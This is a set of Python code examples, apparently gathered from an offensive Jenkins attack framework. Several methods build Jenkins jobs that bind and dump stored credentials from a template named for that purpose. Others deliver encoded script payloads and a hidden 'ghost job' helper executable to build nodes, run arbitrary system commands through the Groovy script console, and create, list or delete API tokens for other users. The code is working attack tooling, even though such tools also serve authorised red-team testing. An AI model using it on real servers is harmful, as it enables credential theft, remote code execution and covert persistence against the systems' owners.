Esempio n. 1
0
    def create_api_token(self, token_name=None, selected_username=None):
        """Creates API Token

        :param name: Name of API Token, ``str``
        :param name: Name of User to Add Token To, ``str``
        """

        if selected_username:
            if not self.can_access_script_console():
                raise JenkinsException(
                    'You must be able to access the "/script" console.')

            loader = quik.FileLoader(os.path.join("data", "groovy"))
            script_template = loader.load_template(
                "create_api_token_for_user_template.groovy")

            if not token_name:
                token_name = ""

            result = self.execute_script(
                script_template.render({
                    "user":
                    selected_username.replace("\\",
                                              "\\\\").replace('"', '\\"'),
                    "token":
                    token_name.replace("\\", "\\\\").replace('"', '\\"'),
                })).strip()

            if len(result) == 0:
                raise JenkinsException(
                    'Token Creation Failed.  Perhaps you don\'t have "/script" access?'
                )

            return result
        else:
            if not self.username or len(self.username) == 0:
                user_details = self.get_whoAmI()

                if "name" in user_details:
                    self.username = user_details["name"]
                else:
                    raise JenkinsException(
                        "Could not get username, are you sure your credentials are valid?"
                    )

            user = self.username

            result = self.jenkins_open(
                requests.Request(
                    "POST",
                    self._build_url(CREATE_API_TOKEN, locals()),
                    data={"newTokenName": token_name if token_name else ""},
                ))

            try:
                return json.loads(result)["data"]["tokenValue"]
            except Exception:
                raise JenkinsException(
                    "Server did not respond with a valid token. Something went wrong."
                )
Esempio n. 2
0
    def _posix_payload(self):
        file_name = "".join(
            random.choices(string.ascii_letters + string.digits, k=8))

        if "." in self.args.script_path:
            file_name += "." + self.args.script_path.split(".")[-1]

        with open(self.args.script_path, "rb") as f:
            payload = base64.b64encode(zlib.compress(f.read(),
                                                     9)).decode("utf8")

        if self.args.executor:
            executor = self.args.executor.replace("\\", "\\\\").replace(
                '"', '\\"') + " "

        if self.args.additional_args:
            additional_args = " " + self.args.additional_args.replace(
                "\\", "\\\\").replace('"', '\\"')

        loader = quik.FileLoader(os.path.join("data", "python"))

        if self.args.ghost:
            cmd_template = loader.load_template("posix_ghost_job_template.py")
        else:
            cmd_template = loader.load_template("posix_normal_job_template.py")

        return cmd_template.render(locals())
    def _generate_job_xml(self, job_type, nodes, barrier, credentials):
        file_name = "f" + "".join(random.choices(string.ascii_letters + string.digits, k=8))

        loader = quik.FileLoader(os.path.join("data", "xml"))

        bindings_template = loader.load_template("credential_binding_template.xml")
        job_template = loader.load_template("job_template.xml")

        if job_type == "posix":
            cmd_template = quik.FileLoader(os.path.join("data", "bash")).load_template(
                "posix_job_dump_creds_template.sh"
            )
        else:
            cmd_template = quik.FileLoader(os.path.join("data", "batch")).load_template(
                "windows_job_dump_creds_template.bat"
            )

        for i in range(len(credentials)):
            if credentials[i]["type"] == "SSHKEY":
                credentials[i]["key_file_variable"] = "a{0}k".format(i)
                credentials[i]["username_variable"] = "a{0}u".format(i)
                credentials[i]["passphrase_variable"] = "a{0}p".format(i)
            else:  # For now everything else uses only one variable
                credentials[i]["variable"] = "a{0}".format(i)

        bindings = bindings_template.render(locals())
        cmds = cmd_template.render(locals())

        return job_template.render(
            {
                "job_type": "BatchFile" if job_type == "windows" else "Shell",
                "assigned_nodes": "({})".format(
                    xmlescape(" || ".join(['"{}"'.format(x["name"]) for x in nodes]))
                ),
                "commands": xmlescape(cmds),
                "credential_bindings": bindings,
            }
        )
Esempio n. 4
0
    def _generate_job_xml(self, job_type, nodes, cmd_string):
        job_template = quik.FileLoader(os.path.join(
            "data", "xml")).load_template("job_template.xml")

        return job_template.render({
            "job_type":
            "BatchFile" if job_type == "windows" else "Shell",
            "assigned_nodes":
            "({})".format(
                xmlescape(" || ".join(
                    ['"{}"'.format(x["name"]) for x in nodes]))),
            "commands":
            xmlescape(cmd_string),
        })
    def __init__(self, args):
        super().__init__(args)

        loader = quik.FileLoader(os.path.join("data", "groovy"))
        cmd_template = loader.load_template("run_command_template.groovy")

        cmd = cmd_template.render(
            {"command": self.args.system_command.replace("\\", "\\\\").replace('"', '\\"')}
        )

        try:
            cred = self.args.credentials[0]
            server = self._get_jenkins_server(cred)

            result = server.execute_script(cmd, not self.args.no_wait, node=self.args.node)

            if result:
                result = re.sub(r"[\r\n][\r\n]{2,}", "\n\n", result).strip()
                print(result)

        except jenkinslib.JenkinsException as ex:
            if "[403]" in str(ex).split("\n")[0]:
                self.logging.fatal(
                    "%s authentication failed or not an admin with script privileges",
                    self._get_username(cred),
                )
            else:
                self.logging.fatal(
                    "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s"
                    % (
                        (
                            self.server_url.netloc
                            if len(self.server_url.netloc) > 0
                            else self.args.server
                        ),
                        self._get_username(cred),
                        str(ex).split("\n")[0],
                    )
                )

        except (req_exc.SSLError, req_exc.ConnectionError):
            self.logging.fatal(
                "Unable to connect to: "
                + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server)
            )

        except Exception:
            self.logging.exception("")
            exit(1)
Esempio n. 6
0
    def _windows_payload(self):
        file_name = "".join(
            random.choices(string.ascii_letters + string.digits, k=8))

        if "." in self.args.script_path:
            file_name += "." + self.args.script_path.split(".")[-1]

        with open(self.args.script_path, "rb") as f:
            data = base64.b64encode(f.read()).decode("utf8")

        payload = list(self.__chunk_payload(data, 240))

        if self.args.executor:
            executor = self.args.executor + " "

        if self.args.additional_args:
            additional_args = " " + self.args.additional_args

        loader = quik.FileLoader(os.path.join("data", "batch"))

        if self.args.ghost:
            helper_file_name = ("".join(
                random.choices(string.ascii_letters + string.digits, k=8)) +
                                ".exe")

            with open(
                    os.path.join("data", "exe",
                                 "windows_ghost_job_helper.exe"), "rb") as f:
                data = base64.b64encode(f.read()).decode("utf8")

            helper_payload = list(self.__chunk_payload(data, 240))

            cmd_template = loader.load_template(
                "windows_ghost_job_template.bat")
        else:
            cmd_template = loader.load_template(
                "windows_normal_job_template.bat")

        return cmd_template.render(locals())
Esempio n. 7
0
    def delete_api_token(self, token_identifier, selected_username=None):
        """Deletes API Token

        :param name: Name of API Token or Token UUID, ``str``
        :param name: Name of User to Delete Token From, ``str``
        """

        if selected_username:
            # Permission checking and errors will be raised by list_api_tokens
            tokens = self.list_api_tokens(selected_username)

            filtered_tokens = [
                x for x in tokens if x["name"] == token_identifier
                or x["uuid"] == token_identifier
            ]

            if len(filtered_tokens) == 0:
                raise JenkinsException("No matching token found.")
            elif len(filtered_tokens) > 1:
                raise JenkinsException(
                    "Token Identifier matchs multiple tokens, pass UUID instead."
                )

            loader = quik.FileLoader(os.path.join("data", "groovy"))
            script_template = loader.load_template(
                "delete_api_token_for_user_template.groovy")

            result = self.execute_script(
                script_template.render({
                    "user":
                    selected_username.replace("\\",
                                              "\\\\").replace('"', '\\"'),
                    "token":
                    filtered_tokens[0]["uuid"].replace("\\", "\\\\").replace(
                        '"', '\\"'),
                })).strip()

            if result != "Success":
                raise JenkinsException(
                    'An error occurred. Perhaps you don\'t have "/script" access?'
                )
        else:
            tokens = self.list_api_tokens()

            # self.username will exist (if it didn't already) thanks to list_api_tokens
            user = self.username

            filtered_tokens = [
                x for x in tokens if x["name"] == token_identifier
                or x["uuid"] == token_identifier
            ]

            if len(filtered_tokens) == 0:
                raise JenkinsException("No matching token found.")
            elif len(filtered_tokens) > 1:
                raise JenkinsException(
                    "Token Identifier matchs multiple tokens, pass UUID instead."
                )

            result = self.jenkins_open(
                requests.Request(
                    "POST",
                    self._build_url(DELETE_API_TOKEN, locals()),
                    data={"tokenUuid": filtered_tokens[0]["uuid"]},
                ))
Esempio n. 8
0
    def list_api_tokens(self, query_username=None):
        """List API Tokens

        :param name: Name of user to query tokens for, ``str``
        """

        tokens = []

        if query_username:
            if not self.can_access_script_console():
                raise JenkinsException(
                    'You must be able to access the "/script" console.')

            loader = quik.FileLoader(os.path.join("data", "groovy"))
            script_template = loader.load_template(
                "list_api_tokens_for_user_template.groovy")

            result = self.execute_script(
                script_template.render({
                    "command":
                    query_username.replace("\\", "\\\\").replace('"', '\\"')
                })).strip()

            raw_tokens = re.split(r"\n\n", result, flags=re.M)

            for raw_token in raw_tokens:
                try:
                    lines = raw_token.split("\n")

                    token = {
                        "name": ": ".join(re.split(": ", lines[0])[1:]),
                        "creation_date":
                        ": ".join(re.split(": ", lines[1])[1:]),
                        "uuid": ": ".join(re.split(": ", lines[2])[1:]),
                    }

                    tokens.append(token)
                except Exception:
                    pass
        else:
            if not self.username or len(self.username) == 0:
                user_details = self.get_whoAmI()

                if "name" in user_details:
                    self.username = user_details["name"]
                else:
                    raise JenkinsException(
                        "Could not get username, are you sure your credentials are valid?"
                    )

            user = self.username

            raw_tokens = self.jenkins_open(
                requests.Request("GET",
                                 self._build_url(GET_API_TOKEN_LIST,
                                                 locals())))

            soup = BeautifulSoup(raw_tokens, "html.parser")

            tokens_html = soup.find_all("div", {"name": "tokenStore"})

            for token_html in tokens_html:
                try:
                    token = {
                        "name":
                        token_html.find("input",
                                        {"name": "tokenName"})["value"],
                        "creation_date":
                        token_html.find("span",
                                        {"class": "token-creation"})["title"],
                        "uuid":
                        token_html.find("input",
                                        {"name": "tokenUuid"})["value"],
                    }

                    tokens.append(token)
                except Exception:
                    pass

        return tokens